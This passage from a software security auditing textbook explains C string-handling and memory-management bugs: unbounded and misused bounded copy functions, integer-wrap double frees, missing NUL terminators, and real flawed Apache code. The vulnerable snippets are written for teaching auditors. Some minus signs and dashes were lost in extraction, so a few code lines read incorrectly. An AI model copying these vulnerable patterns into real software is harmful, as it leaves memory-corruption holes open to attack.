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int buffer_free(buffer *buf) 

{ 

    free(buf->data); 

    free(buf); 

 

    return 0; 

} 

 

buffer *buffer_new(void) 

{ 

    buffer *buf; 

 

    buf = calloc(1, sizeof(buffer)); 

 

    if(!buf) 

        return NULL; 

 

    buf->data = (char *)malloc(1024); 

 

    if(!buf->data){ 

        free(buf); 

        return NULL; 

    } 

    return buf; 

} 

 

This code shows some typical buffer-management routines. From what you have 

learned about allocation routines, you can classify a couple of interesting 

characteristics about buffer_grow(). Primarily, it checks for integer overflows when 

increasing the buffer, but that rounding is performed after the check. Therefore, 

whenever new_size() and buf->used are added together and give a result between 

0xFFFFFFF1 and 0xFFFFFFFF, the roundup causes an integer overflow, and the value 

0 is passed to realloc(). Also, notice that if realloc() fails, buf->data isn't set to a 

NULL pointer. This is important because when realloc() frees a buffer because of a 

0-length parameter, it returns NULL. The following code shows some potential 

implications: 

int process_login(int sockfd) 

{ 

    int length; 

    buffer *buf; 

 

    buf = buffer_new(); 
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    length = read_integer(sockfd); 

 

    if(buffer_grow(buf, length) < 0){ 

        buffer_free(buf); 

        return 1; 

    } 

 

    ... read data into the buffer ... 

 

    return 0; 

} 

 

The process_login() function attempts to increase the buffer enough to store 

subsequent data. If the supplied length is large enough to make the integer wrap, the 

buf->data member is freed twiceonce during buffer_grow() when a size of 0 is passed 

to realloc(), and once more in buffer_free(). This example spans multiple functions 

for a specific reason; often bugs of this nature are spread out in this way and are less 

obvious. This bug would be easy to miss if you didn't pay careful attention to how 

buffer_grow() works (to notice the integer overflow) and to the nuances of how 

realloc() works. 

7.3.6 Summary 

This chapter has focused on the basic components that make up a programming 

language: variable use, control flow, function calls, and memory management. By 

learning about potential security vulnerabilities from the perspective of each of these 

building blocks, you can isolate recurring patterns in software security vulnerabilities. 

In addition, you saw how to target areas where a programmer is more likely to create 

vulnerabilities when translating a design into a final implementation. Finally, you 

learned some tools for tracking your work and simplifying the process of identifying 

vulnerabilities. 

7.4 Chapter 8.  Strings and Metacharacters 

"The edge... There is no honest way to explain it because the only people who know where it 

is are the one's who have never gone over." 

7.4.1 Introduction 

Textual representation is one of the oldest methods of handling data, and almost 

certainly the most popular. Unfortunately, a number of common mistakes in handling 

textual data have given text-based formats a reputation as one of the least secure 
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methods of data processing. Many of the most significant security vulnerabilities of 

the last decade are the result of memory corruption due to mishandling textual data, 

or logical flaws due to the misinterpretation of the content in textual data. 

This chapter explores security vulnerabilities related to processing textual data 

formats contained in strings. The coverage addresses the major areas of string 

handling: memory corruption due to string mishandling; vulnerabilities due to 

in-band control data in the form of metacharacters; and vulnerabilities resulting from 

conversions between character encodings in different languages. By understanding 

the common patterns associated with these vulnerabilities, you can identify and 

prevent their occurrence. 

 

7.4.2 C String Handling 

In C, there's no native type for strings; instead, strings are formed by constructing 

arrays of the char data type, with the NUL character (0x00) marking the end of a 

string (sometimes referred to as a NULL character or EOS). Representing a string in 

this manner means that the length of the string is not associated with the buffer that 

contains it, and it is often not known until runtime. These details require 

programmers to manage the string buffers manually, generally in one of two ways. 

They can estimate how much memory to reserve (by choosing a conservative 

maximum) for a statically sized array, or they can use memory allocation APIs 

available on the system to dynamically allocate memory at runtime when the amount 

of space required for a data block is known. 

The second option seems more sensible, but it has some drawbacks. Far more 

processing overhead is involved when allocating memory dynamically, and 

programmers need to ensure that memory is freed correctly in each possible code 

path to avoid memory leaks. The C++ standard library provides a string class that 

abstracts the internals so that programmers don't need to deal explicitly with 

memory-sizing problems. The C++ string class is, therefore, a little safer and less 

likely to be exposed to vulnerabilities that occur when dealing with characters in C. 

However, programmers often need to convert between C strings and C++ string 

classes to use APIs that require C strings; so even a C++ program can be vulnerable 

to C string handling vulnerabilities. Most C string handling vulnerabilities are the 

result of the unsafe use of a handful of functions, which are covered in the following 

sections. 

Unbounded String Functions 

The first group of functions is conventionally unsafe string manipulation functions. 

The main problem with these functions is that they are unboundedthat is, the 

destination buffer's size isn't taken into account when performing a data copy. This 

31051536.html


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 405 

means that if the string length of the source data supplied to these functions exceeds 

the destination buffer's size, a buffer overflow condition could be triggered, often 

resulting in exploitable memory corruption. Code auditors must systematically 

examine each appearance of these functions in a codebase to determine whether they 

are called in an unsafe manner. Simply put, code auditors must find out whether 

those functions can be reached when the destination buffer isn't large enough to 

contain the source content. By analyzing all the code paths that lead to these unsafe 

routines, you can find whether this problem exists and classify the call as safe or 

unsafe. 

scanf() 

The scanf() functions are used when reading in data from a file stream or string. Each 

data element specified in the format string is stored in a corresponding argument. 

When strings are specified in the format string (using the %s format specifier), the 

corresponding buffer needs to be large enough to contain the string read in from the 

data stream. The scanf() function is summarized in the following list: 

 Function int scanf(const char *format, ...); 

 API libc (UNIX and Windows) 

 Similar functions _tscanf, wscanf, sscanf, fscanf, fwscanf, _snscanf, _snwscanf 

 Purpose The scanf() function parses input according to the format specified in 

the format argument. 

The following code shows an example of misusing scanf(): 

int read_ident(int sockfd) 

{ 

    int sport, cport; 

    char user[32], rtype[32], addinfo[32]; 

    char buffer[1024]; 

 

    if(read(sockfd, buffer, sizeof(buffer)) <= 0){ 

        perror("read: %m"); 

        return 1; 

    } 

 

    buffer[sizeof(buffer)1] = '\0'; 

 

    sscanf(buffer, "%d:%d:%s:%s:%s", &sport, &cport, rtype, 

           user, addinfo); 

 

    ... 

} 
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The code in this example reads an IDENT response (defined at 

www.ietf.org/rfc/rfc1413.txt) from a client. As you can see, up to 1024 bytes are read 

and then parsed into a series of integers and colon-separated strings. The user, rtype, 

and addinfo variables are only 32 bytes long, so if the client supplies any of those 

fields with a string larger than 32 bytes, a buffer overflow occurs. 

sprintf() 

The sprintf() functions have accounted for many security vulnerabilities in the past. 

If the destination buffer supplied as the first parameter isn't large enough to handle 

the input data elements, a buffer overflow could occur. Buffer overflows happen 

primarily because of printing large strings (using the %s or %[] format specifiers). 

Although less common, other format specifiers (such as %d or %f) can also result in 

buffer overflows. If users can partially or fully control the format argument, another 

type of bug could occur, known as "format string" vulnerabilities. They are discussed 

in more detail later in this chapter in "C Format Strings(? [????.])." The sprintf() 

function is summarized in the following list: 

 Function int sprintf(char *str, const char *format, ...); 

 API libc (UNIX and Windows) 

 Similar functions _stprintf, _sprintf, _vsprintf, vsprintf, swprintf, swprintf, 

vsprintf, vswprintf, _wsprintfA, _wsprintfW 

 Purpose The sprintf() functions print a formatted string to a destination 

buffer. 

The following example is taken from the Apache JRUN module: 

static void 

WriteToLog(jrun_request *r, const char *szFormat, ...) 

{ 

        server_rec *s = (server_rec *) r->context; 

    va_list list; 

    char szBuf[2048]; 

 

        strcpy(szBuf, r->stringRep); 

    va_start (list, szFormat); 

    vsprintf (strchr(szBuf,'\0'), szFormat, list); 

    va_end (list); 

 

#if MODULE_MAGIC_NUMBER > 19980401 

        /* don't need to add newline - this function 

           does it for us */ 

    ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_NOTICE, s, "%s", szBuf); 

#else 

    log_error(szBuf, s); 

http://www.ietf.org/rfc/rfc1413.txt
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#endif 

 

#ifdef WIN32 

        strcat(szBuf, "\r\n"); 

        OutputDebugString(szBuf); 

#endif 

} 

 

This example is a classic misuse of vsprintf(). The destination buffer's size isn't 

accounted for at all, so a buffer overflow occurs if the vsprintf() function can be 

called with any string larger than 2048 bytes. 

Note 

The _wsprintfA() and _wsprintfW() functions copy a maximum of 1024 characters 

into the destination buffer, as opposed to the other sprintf() functions, which copy 

as many as required. 

 

 

strcpy() 

The strcpy() family of functions is notorious for causing a large number of security 

vulnerabilities in many applications over the years. If the destination buffer can be 

smaller than the length of the source string, a buffer overflow could occur. The 

wscpy(), wcscpy(), and mbscpy() functions are similar to strcpy() except they deal 

with wide and multibyte characters and are common in Windows applications. The 

following list summarizes the strcpy() functions: 

 Function char *strcpy(char *dst, char *src) 

 API libc (UNIX and Windows) 

 Similar functions _tcscpy, lstrcpyA, wcscpy, _mbscpy 

 Purpose strcpy() copies the string located at src to the destination dst. It 

ceases copying when it encounters an end of string character (a NUL byte). 

The following code is an example of misusing strcpy(): 

char *read_command(int sockfd) 

{ 

    char username[32], buffer[1024]; 

    int n; 

 

    if((n = read(sockfd, buffer, sizeof(buffer)1) <= 0) 

        return NULL; 
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    buffer[n] = '\0'; 

 

    switch(buffer[0]){ 

        case 'U': 

            strcpy(username, &buffer[1]); 

            break; 

 

        ... 

    } 

} 

 

This code is an obvious misuse of strcpy(). The source buffer can easily contain a 

string longer than the destination buffer, so a buffer overflow might be triggered. 

Bugs of this nature were once very common, but they are less common now because 

developers are more aware of the misuses of strcpy(); however, they still occur, 

particularly in closed-source applications that aren't widely distributed. 

strcat() 

String concatenation is often used when building strings composed of several 

components (such as paths). When calling strcat(), the destination buffer (dst) 

must be large enough to hold the string already there, the concatenated string (src), 

plus the NUL terminator. The following list summarizes the strcat() function: 

 Function char *strcat (char *dst, char *src) 

 API libc (UNIX and Windows) 

 Similar functions _tcscat, wcscat, _mbscat 

 Purpose The strcat() functions are responsible for concatenating two strings 

together. The src string is appended to dst. 

The following code shows an example of misusing strcat(): 

int process_email(char *email) 

{ 

    char username[32], domain[128], *delim; 

    int c; 

 

    delim = strchr(email, '@'); 

 

    if(!delim) 

        return -1; 

 

    *delim++ = '\0'; 
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    if(strlen(email) >= sizeof(username)) 

        return -1; 

 

    strcpy(username, email); 

 

    if(strlen(delim) >= sizeof(domain)) 

        return -1; 

 

    strcpy(domain, delim); 

 

    if(!strchr(delim, '.')) 

        strcat(domain, default_domain); 

 

    delim[-1] = '@'; 

 

    ... process domain ... 

 

    return 0; 

} 

 

The code in this example performs several string copies, although each one includes 

a length check to ensure that the supplied buffer doesn't overflow any destination 

buffers. When a hostname is supplied without a trailing domain, however, a default 

string value is concatenated to the buffer in an unsafe manner (as shown in the 

bolded line). This vulnerability occurs because no size check is done to ensure that the 

length of default_domain plus the length of delim is less than the length of the domain 

buffer. 

Bounded String Functions 

The bounded string functions were designed to give programmers a safer alternative 

to the functions discussed in the previous section. These functions include a 

parameter to designate the length (or bounds) of the destination buffer. This length 

parameter makes it easier to use the bounded functions securely, but they are still 

susceptible to misuse in more subtle ways. For instance, it is important to 

double-check that the specified length is in fact the correct size of the resulting buffer. 

Although this check sounds obvious, length miscalculations or erroneous length 

parameters are frequent when using these functions. These are the conditions that 

might cause the length parameter to be incorrect: 

 Carelessness 

 Erroneous input 

 Length miscalculation 
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 Arithmetic boundary conditions 

 Converted data types 

This shouldn't be considered an exhaustive list of problems. However, it should 

emphasize the point that use of safe functions doesn't necessarily mean the code is 

secure. 

snprintf() 

The snprintf() function is a bounded sprintf() replacement; it accepts a maximum 

number of bytes that can be written to the output buffer. This function is summarized 

in the following list: 

 Function int snprintf(char *dst, size_t n, char *fmt, ...) 

 API libc (UNIX and Windows) 

 Similar functions _sntprintf, _snprintf, _snwprintf, vsnprintf, _vsnprintf, 

_vsnwprintf 

 Purpose snprintf() formats data according to format specifiers into a string, 

just like sprintf(), except it has a size parameter. 

An interesting caveat of this function is that it works slightly differently on Windows 

and UNIX. On Windows OSs, if there's not enough room to fit all the data into the 

resulting buffer, a value of -1 is returned and NUL termination is not guaranteed. 

Conversely, UNIX implementations guarantee NUL termination no matter what and 

return the number of characters that would have been written had there been enough 

room. That is, if the resulting buffer isn't big enough to hold all the data, it's 

NUL-terminated, and a positive integer is returned that's larger than the supplied 

buffer size. This difference in behavior can cause bugs to occur in these situations: 

 A developer familiar with one OS is writing code for another and isn't aware of 

their differences. 

 An application is built to run on both Windows and UNIX, so the application 

works correctly on one OS but not the other. 

Listing 8-1 is an example of a vulnerability resulting from assuming the UNIX 

behavior of vsnprintf() in a Windows application. 

Listing 8-1. Different Behavior of vsnprintf() on Windows and UNIX 

#define BUFSIZ 4096 

 

int log(int fd, char *fmt, ...) 

{ 

   char buffer[BUFSIZ]; 

   int n; 

   va_list ap; 
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   va_start(ap, fmt); 

 

   n = vsnprintf(buffer, sizeof(buffer), fmt, ap); 

 

   if(n >= BUFSIZ - 2) 

       buffer[sizeof(buffer)-2] = '\0'; 

 

   strcat(buffer, "\n"); 

 

   va_end(ap); 

 

   write_log(fd, buffer, strlen(buffer)); 

 

   return 0; 

} 

 

The code in Listing 8-1 works fine on UNIX. It checks to ensure that at least two bytes 

still remain in the buffer to fit in the trailing newline character or it shortens the buffer 

so that the call to strcat() doesn't overflow. If the same code is run on Windows, 

however, it's a different story. If buffer is filled, n is set to 1, so the length check 

passes and the newline character is written outside the bounds of buffer. 

strncpy() 

The strncpy() function is a "secure" alternative to strcpy(); it accepts a maximum 

number of bytes to be copied into the destination. The following list summarizes the 

strncpy() function: 

 Function char *strncpy(char *dst, char *src, size_t n) 

 API libc (UNIX and Windows) 

 Similar functions _tcsncpy, _csncpy, wcscpyn, _mbsncpy 

 Purpose strncpy() copies the string located at src to the destination dst. It 

ceases copying when it encounters an end of string character (a NUL byte) or 

when n characters have been written to the destination buffer. 

The strncpy() function does not guarantee NUL-termination of the destination string. 

If the source string is larger than the destination buffer, strncpy() copies as many 

bytes as indicated by the size parameter, and then ceases copying without 

NUL-terminating the buffer. This means any subsequent operations performed on the 

resulting string could produce unexpected results that can lead to a security 

vulnerability. Listing 8-2 shows an example of misusing strncpy(). 
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Listing 8-2. Dangerous Use of strncpy() 

 

int is_username_valid(char *username) 

{ 

    char *delim; 

    int c; 

 

    delim = strchr(name, ':'); 

 

    if(delim){ 

        c = *delim; 

        *delim = '\0'; 

    } 

 

    ... do some processing on the username ... 

 

    *delim = c; 

 

    return 1; 

} 

int authenticate(int sockfd) 

{ 

    char user[1024], *buffer; 

    size_t size; 

    int n, cmd; 

 

    cmd = read_integer(sockfd); 

    size = read_integer(sockfd); 

 

    if(size > MAX_PACKET) 

        return -1; 

 

    buffer = (char *)calloc(size+1, sizeof(char)); 

 

    if(!buffer) 

        return -1; 

 

    read_string(buffer, size); 

 

    switch(cmd){ 

        case USERNAME: 

            strncpy(user, buffer, sizeof(user)); 

            if(!is_username_valid(user)) 

                goto fail; 
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            break; 

        ... 

    } 

} 

 

The code copies data into a buffer by using strncpy() but fails to explicitly 

NUL-terminate the buffer afterward. The buffer is then passed as an argument to the 

is_username_valid() function, which performs a strchr() on it. The strchr() function 

searches for a specific character in a string (the : in this case). If strchr() finds the 

character it returns a pointer to it, otherwise it returns a NULL if the character is not 

found. Because there's no NUL character in this buffer, strchr() might go past the 

end of the buffer and locate the character it's searching for in another variable or 

possibly in the program's control information (such as a frame pointer, return address 

on the stack, or a chunk header on the heap). This byte is then changed, thus 

potentially affecting the program's state in an unpredictable or unsafe manner. 

The wcscpyn() function is a safe alternative to wcscpy(). This function is susceptible to 

the same misuses as strncpy(). If the source string is larger than the destination 

buffer, no NUL terminator is appended to the resulting string. Additionally, when 

dealing with wide characters, application developers often make the mistake of 

supplying the destination buffer's size in bytes rather than specifying the number of 

wide characters that can fit into the destination buffer. This issue is discussed later in 

this chapter in "Windows Unicode Functions(? [????.])." 

strncat() 

The strncat() function, summarized in the following list, is intended to be a safe 

alternative to the strcat() function: 

 Function char *strncat(char *dst, char *src, size_t n) 

 API libc (UNIX and Windows) 

 Similar functions _tcsncat, wcsncat, _mbsncat 

 Purpose strncat() concatenates two strings together. The string src points to 

is appended to the string dst points to. It copies at most n bytes. 

However, strncat() is nearly as dangerous as strcat(), in that it's quite easy to 

misuse. Specifically, the size parameter can be confusingit indicates the amount of 

space left in the buffer. The first common mistake application developers make is 

supplying the size of the entire buffer instead of the size remaining in the buffer. This 

mistake is shown in the following example: 

int copy_data(char *username) 

{ 

    char buf[1024]; 
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    strcpy(buf, "username is: "); 

    strncat(buf, username, sizeof(buf)); 

 

    log("%s\n", buf); 

 

    return 0; 

} 

 

This code incorrectly supplies the buffer's total size rather than the remaining size, 

thus allowing someone who can control the username argument to overflow the buffer. 

A more subtle mistake can be made when using strncat(). As stated previously, the 

size argument represents how many bytes remain in the buffer. This statement was 

slightly oversimplified in that the size doesn't account for the trailing NUL byte, which 

is always added to the end of the string. Therefore, the size parameter needs to be 

the amount of space left in the buffer less one; otherwise, the NUL byte is written one 

byte past the end of the buffer. The following example shows how this mistake 

typically appears in application code: 

int copy_data(char *username) 

{ 

    char buf[1024]; 

 

    strcpy(buf, "username is: "); 

    strncat(buf, username, sizeof(buf)  strlen(buf)); 

 

    log("%s\n", buf); 

 

    return 0; 

} 

 

This code doesn't account for the trailing NUL byte, so it's an off-by-one vulnerability. 

Note that even when supplying the correct length parameter to strncat (that is, 

sizeof(buf) strlen(buf) 1), an integer underflow could occur, also resulting in a 

buffer overflow. 

strlcpy() 

The strlcpy() function is a BSD-specific extension to the libc string APIs. It attempts 

to address the shortcomings of the strncpy() function. Specifically, it guarantees NUL 

byte termination of the destination buffer. This function is one of the safest 
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alternatives to strcpy() and strncpy(); however, it's not used a great deal for 

portability reasons. The following list summarizes the strlcpy() function: 

 Function size_t strlcpy(char *dst, char *src, size_t n) 

 API libc (BSD) 

 Similar functions None 

 Purpose strlcpy() acts exactly the same as strncpy() except it guarantees 

that the destination buffer is NUL-terminated. The length argument includes 

space for the NUL byte. 

When auditing code that uses strlcpy(), be aware that the size returned is the length 

of the source string (not including the NUL byte), so the return value can be larger 

than the destination buffer's size. The following example shows some vulnerable 

code: 

int qualify_username(char *username) 

{ 

    char buf[1024]; 

    size_t length; 

 

    length = strlcpy(buf, username, sizeof(buf)); 

    strncat(buf, "@127.0.0.1", sizeof(buf)  length); 

 

    ... do more stuff ... 

} 

 

The length parameter returned from strlcpy() is used incorrectly in this code. If the 

username parameter to this function is longer than 1024 bytes, the strlcat() size 

parameter underflows and allows data to be copied out of the buffer's bounds. 

Vulnerabilities such as this aren't common because the return value is usually 

discarded. However, ignoring the result of this function can result in data truncation. 

strlcat() 

The strlcat() function, summarized in the following list, is another BSD-specific 

extension to the libc API that is intended to address the shortcomings of the strncat() 

function: 

 Function size_t strlcat(char *dst, char *src, size_t n) 

 API libc (BSD) 

 Similar functions None 

 Purpose strlcat() concatenates two strings together in much the same way 

as strncat(). 
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The size parameter has been changed so that the function is simpler for developers to 

use. The size parameter for strlcat() is the total size of the destination buffer instead 

of the remaining space left in the buffer, as with strncat(). The strlcat() function 

guarantees NUL-termination of the destination buffer. Again, this function is one of 

the safest alternatives to strcat() and strncat(). Like strlcpy(), strlcat() returns 

the total number of bytes required to hold the resulting string. That is, it returns the 

string length of the destination buffer plus the string length of the source buffer. One 

exception is when the destination string buffer is already longer than the n parameter, 

in which case the buffer is left untouched and the n parameter is returned. 

Common Issues 

Parsing text at the character level can be a complicated task. Small oversights made 

by application developers can result in buffer overflows, operating on uninitialized 

memory regions, or misinterpretations of the content. Code auditors need to focus on 

code regions that manipulate text, particularly write operations because careless 

writes pose the most immediate threat to application security. The following sections 

introduce fundamental concepts and provide some common examples of text 

processing issues. 

Unbounded Copies 

The easiest unbounded copies to spot are those that simply don't do any checking on 

the bounds of destination buffers, much like the vulnerable use of strcpy() in 

"Unbounded String Functions." Listing 8-3 shows an example. 

Listing 8-3. Strcpy()-like Loop 

if (recipient == NULL 

    && Ustrcmp(errmess, "empty address") != 0) 

  { 

  uschar hname[64]; 

  uschar *t = h->text; 

  uschar *tt = hname; 

  uschar *verb = US"is"; 

  int len; 

 

  while (*t != ':') *tt++ = *t++; 

   *tt = 0; 

 

Listing 8-3 shows a straightforward vulnerability. If the length of the source string is 

larger than the size of hname, a stack overflow occurs when the bolded code runs. It's 

a good idea to note functions that make blatantly unchecked copies like this and see 

whether they are ever called in a vulnerable manner. 
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Character Expansion 

Character expansion occurs when software encodes special characters, resulting in a 

longer string than the original. This is common in metacharacter handling, as 

discussed over the course of this chapter, but it can also occur when raw data is 

formatted to make it human readable. Character expansion code may be vulnerable 

when the resulting expanded string is too large to fit in the destination buffer, as in 

the example in Listing 8-4. 

Listing 8-4. Character Expansion Buffer Overflow 

int write_log(int fd, char *data, size_t len) 

{ 

    char buf[1024], *src, *dst; 

 

    if(strlen(data) >= sizeof(buf)) 

        return -1; 

 

    for(src = data, dst = buf; *src; src++){ 

        if(!isprint(*src)){ 

            sprintf(dst, "%02x", *src); 

            dst += strlen(dst); 

        } else 

            *dst++ = *src; 

    } 

 

    *dst = '\0'; 

 

    ... 

} 

 

In Listing 8-4, you can see that if nonprintable characters are encountered, the 

bolded section of the code writes a hexadecimal representation of the character to the 

destination buffer. Therefore, for each loop iteration, the program could write two 

output characters for every one input character. By supplying a large number of 

nonprintable characters an attacker can cause an overflow to occur in the destination 

buffer. 

Incrementing Pointers Incorrectly 

Security vulnerabilities may occur when pointers can be incremented outside the 

bounds of the string being operated on. This problem happens primarily in one of the 

following two cases: when a string isn't NUL-terminated correctly; or when a NUL 

terminator can be skipped because of a processing error. You saw in Listing 8-2 that 
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strncpy() can be the cause of a string not being NUL-terminated. Often when a string 

isn't terminated correctly, further processing on the string is quite dangerous. For 

example, consider a string being searched with the strchr() function for a particular 

separator. If the NUL terminator is missing, the search doesn't stop at the end of the 

user-supplied data as intended. The character being searched for may be located in 

uninitialized memory or adjacent variables, which is a potential vulnerability. The 

following example shows a similar situation: 

int process_email(char *email) 

{ 

    char buf[1024], *domain; 

 

    strncpy(buf, email, sizeof(buf)); 

 

    domain = strchr(buf, '@'); 

 

    if(!domain) 

        return -1; 

 

    *domain++ = '\0'; 

 

    ... 

 

    return 0; 

} 

 

The example neglects to NUL-terminate buf, so the subsequent character search 

might skip outside the buffer's bounds. Even worse, the character being searched for 

is changed to a NUL byte, so variables or program state could possibly be corrupted. 

Another interesting implication of neglecting to NUL-terminate a buffer is that a buffer 

overflow condition might be introduced if the programmer makes assumptions about 

the maximum length of the string in the buffer. The following code shows a common 

example of making this assumption: 

int process_address(int sockfd) 

{ 

    char username[256], domain[256], netbuf[256], *ptr; 

 

    read_data(sockfd, netbuf, sizeof(netbuf)); 

 

    ptr = strchr(netbuf, ':'); 

 

    if(ptr) 

        *ptr++ = '\0'; 
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    strcpy(username, netbuf); 

 

    if(ptr) 

        strcpy(domain, ptr); 

 

    ... 

} 

 

The process_address() function is written with the assumption that read_data() 

correctly NUL-terminates the netbuf character array. Therefore, the strcpy() 

operations following it should be safe. If the read_data() function doesn't properly 

terminate the buffer, however, the length of the data read in to netbuf can be longer 

than 256 depending on what's on the program stack after it. Therefore, the strcpy() 

operations could overflow the username buffer. 

There's also the odd situation of code that's processing text strings failing to identify 

when it has encountered a NUL byte because of an oversight in the processing. This 

error might happen because the code searches for a particular character in a string 

but fails to check for a NUL byte, as shown in the following example: 

// locate the domain in an e-mail address 

for(ptr = src; *ptr != '@'; ptr++); 

 

Notice that this loop is searching specifically for an @ character, but if none are in the 

string, the loop keeps incrementing past the end of the string until it finds one. There 

are also slight variations to this type of error, as in this example: 

// locate the domain in an e-mail address 

for(ptr = src; *ptr && *ptr != '@'; ptr++); 

 

ptr++; 

 

This second loop is formed more correctly and terminates when it encounters the @ 

symbol or a NUL byte. However, after the loop is completed, the programmer still 

made the assumption that it stopped because it found an @ symbol, not a NUL byte. 

Therefore, if the @ symbol is not found the pointer is incremented past the NUL byte. 

The third example of incrementing outside a buffer's bounds usually occurs when 

programmers make assumptions on the content of the buffer they're parsing. An 

attacker can use intentionally malformed data to take advantage of these 

assumptions and force the program into doing something it shouldn't. Say you have 
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a string containing variables submitted by a form from a Web site, and you want to 

parse and store these variables. This process involves decoding hexadecimal 

sequences in the form %XY; X and Y are hexadecimal characters (09, af, and AF) 

representing a byte value. If the application fails to ensure that one of the two 

characters following the % is a NUL terminator, the application might attempt to 

decode the hexadecimal sequence and then skip the NUL byte and continue 

processing on uninitialized memory. Listing 8-5 shows an example of this error. 

Listing 8-5. Vulnerable Hex-Decoding Routine for URIs 

/* 

 * Decoding URI-encoded strings 

 */ 

void 

nmz_decode_uri(char *str) 

{ 

    int i, j; 

    for (i = j = 0; str[i]; i++, j++) { 

        if (str[i] == '%') { 

            str[j] = decode_uri_sub(str[i + 1], str[i + 2]); 

            i += 2; 

        } else if (str[i] == '+') { 

            str[j] = ' '; 

        } else { 

            str[j] = str[i]; 

        } 

    } 

    str[j] = '\0'; 

} 

 

This code contains a simple mistake in the bolded line: The developer makes the 

assumption that two valid characters follow a % character, which also assumes that 

the string doesn't terminate in those two bytes. Strings can often have a more 

complicated structure than the developer expects, however. Because there are 

multiple state variables that affect how the parsing function interprets text, there are 

more possibilities to make a mistake such as this one. Listing 8-6 shows another 

example of this type of error. It's taken from the mod_dav Apache module and is used 

to parse certain HTTP headers. 

Listing 8-6. If Header Processing Vulnerability in Apache's mod_dav Module 

while (*list) { 

  /* List is the entire production (in a URI scope) */ 

switch (*list) { 
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  case '<': 

    if ((state_token = dav_fetch_next_token(&list, '>')) 

        == NULL) { 

    /* ### add a description to this error */ 

      return dav_new_error(r->pool, HTTP_BAD_REQUEST, 

                             DAV_ERR_IF_PARSE, NULL); 

    } 

    if ((err = dav_add_if_state(r->pool, ih, state_token, 

 

         dav_if_opaquelock, condition, locks_hooks)) 

          != NULL) { 

        /* ### maybe add a higher level description */ 

      return err; 

    } 

    condition = DAV_IF_COND_NORMAL; 

    break; 

 

  case 'N': 

    if (list[1] == 'o' && list[2] == 't') { 

      if (condition != DAV_IF_COND_NORMAL) { 

        return dav_new_error(r->pool, HTTP_BAD_REQUEST, 

                               DAV_ERR_IF_MULTIPLE_NOT, 

                               "Invalid \"If:\" header: " 

                               "Multiple \"not\" entries " 

                               "for the same state."); 

      } 

      condition = DAV_IF_COND_NOT; 

    } 

    list += 2; 

    break; 

 

  case ' ': 

  case '\t': 

    break; 

 

  default: 

    return dav_new_error(r->pool, HTTP_BAD_REQUEST, 

                           DAV_ERR_IF_UNK_CHAR, 

                           apr_psprintf(r->pool, 

                           "Invalid \"If:\" " 

                           "header: Unexpected " 

                           "character encountered " 

                           "(0x%02x, '%c').", 

                         *list, *list)); 
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  } 

  list++; 

} 

break; 

 

This code fails to check for NUL terminators correctly when it encounters an N 

character. The N case should check for the presence of the word "Not" and then skip 

over it. However, the code skips over the next two characters anytime it encounters 

an N character. An attacker can specify a header string ending with an N character, 

meaning an N character followed by a NUL character. Processing will continue past the 

NUL character to data in memory adjacent to the string being parsed. The vulnerable 

code path is demonstrated by the bolded lines in the listing. 

Simple Typos 

Text-processing vulnerabilities can occur because of simple errors that almost defy 

classification. Character processing is easy to mess up, and the more complex the 

code is, the more likely it is that a developer will make mistakes. One occasional 

mistake is a simple pointer use error, which happens when a developer accidentally 

dereferences a pointer incorrectly or doesn't dereference a pointer when necessary. 

These mistakes are often the result of simple typos, and they are particularly common 

when dealing with multiple levels of indirection. Listing 8-7 shows an example of a 

failure to dereference a pointer in Apache's mod_mime module. 

Listing 8-7. Text-Processing Error in Apache mod_mime 

while (quoted && *cp != '\0') { 

    if (is_qtext((int) *cp) > 0) { 

        cp++; 

  } 

  else if (is_quoted_pair(cp) > 0) { 

     cp += 2; 

    } 

 

  ... 

 

This code block is in the analyze_ct() function, which is involved in parsing MIME 

(Multipurpose Internet Mail Extensions) content. If the is_quoted_pair() function 

returns a value greater than zero, the cp variable is incremented by two. The 

following code shows the definition of is_quoted_pair(): 

static int is_quoted_pair(char *s) 

{ 
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    int res = 1; 

    int c; 

 

    if (((s + 1) != NULL) && (*s == '\\')) { 

        c = (int) *(s + 1); 

        if (ap_isascii(c)) { 

           res = 1; 

        } 

    } 

    return (res); 

} 

 

Notice that the function is intended to check for an escape sequence of a backslash (\) 

followed by a non-NUL byte. However, the programmer forgot to dereference (s + 1); 

so the check will never fail because the result of the comparison is always true. This 

is a very subtle typojust a missing * characterbut it completely changes the meaning 

of the code, resulting in a potential vulnerability. 

7.4.3 Metacharacters 

For many types of data, a program also maintains metadata (or meta-information) 

that it tracks alongside the main data; metadata is simply information that describes 

or augments the main data. It might include details on how to format data for display, 

processing instructions, or information on how pieces of the data are stored in 

memory. There are two basic strategies for representing program data alongside its 

associated metadata: embedding the metadata in-band or storing the metadata 

separately, out-of-band. 

In-band representation embeds metadata in the data itself. When embedding 

metadata in textual data, you indicate this information by using special characters 

called metacharacters or metacharacter sequences. One of the simplest 

examples of in-band representation is the NUL character terminator in a C string. 

Out-of-band representation keeps metadata separate from data and associates 

the two through some external mechanism. String data types in other languages 

provide a simple example of out-of-band data. Many programming languages (such 

as C++, Java, PHP, Python, and Pascal) do not have a string terminator character; 

instead these languages store the string's length in an out-of-band variable. 

In many ways, in-band representation is a superior format, as it is often more 

compact and human readable. However, there are a number of security pitfalls 

associated with in-band metadata representation that are not a concern for 

out-of-band metadata. These pitfalls exist because in-band representation creates 

the potential for overlapping trust domains where explicit boundaries are required. 

Essentially, in-band metadata representation places both data and metadata within 
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the same trust domain, and parsing routines must handle the logical trust boundaries 

that exist between data and metadata. However, parsing functions are often very 

complex, and it can be extremely difficult for developers to account for the security 

implications of all possible data and metadata combinations. 

So far, this chapter has discussed vulnerabilities that can result from mishandling a 

single in-band metacharacter: the NUL terminator character. However, there are a 

variety of in-band representations that are common in textual data formats. For 

example, a slash (/) metacharacter in a filename indicates the beginning or end of a 

path segment, a dot (.) metacharacter in a hostname indicates a subdomain, and a 

space metacharacter in an ASCII-based protocol often denotes the end of an input 

token. It's not unusual for applications to construct strings by incorporating 

user-controllable data, as in the following common situations: 

 Constructing a filename 

 Constructing a registry path (Windows-specific) 

 Constructing an e-mail address 

 Constructing an SQL statement 

 Adding user data to a text file 

The following sections examine the potential security ramifications of neglecting to 

carefully sanitize user input when constructing strings containing metacharacters. 

Although these sections cover only general situations, later in the chapter you focus 

on specific examples in contemporary applications, including notorious cases of 

metacharacter abuse. 

Embedded Delimiters 

The simplest case of metacharacter vulnerabilities occur when users can embed 

delimiter characters used to denote the termination of a field. Vulnerabilities of this 

nature are caused by insufficiently sanitized user input incorporated into a formatted 

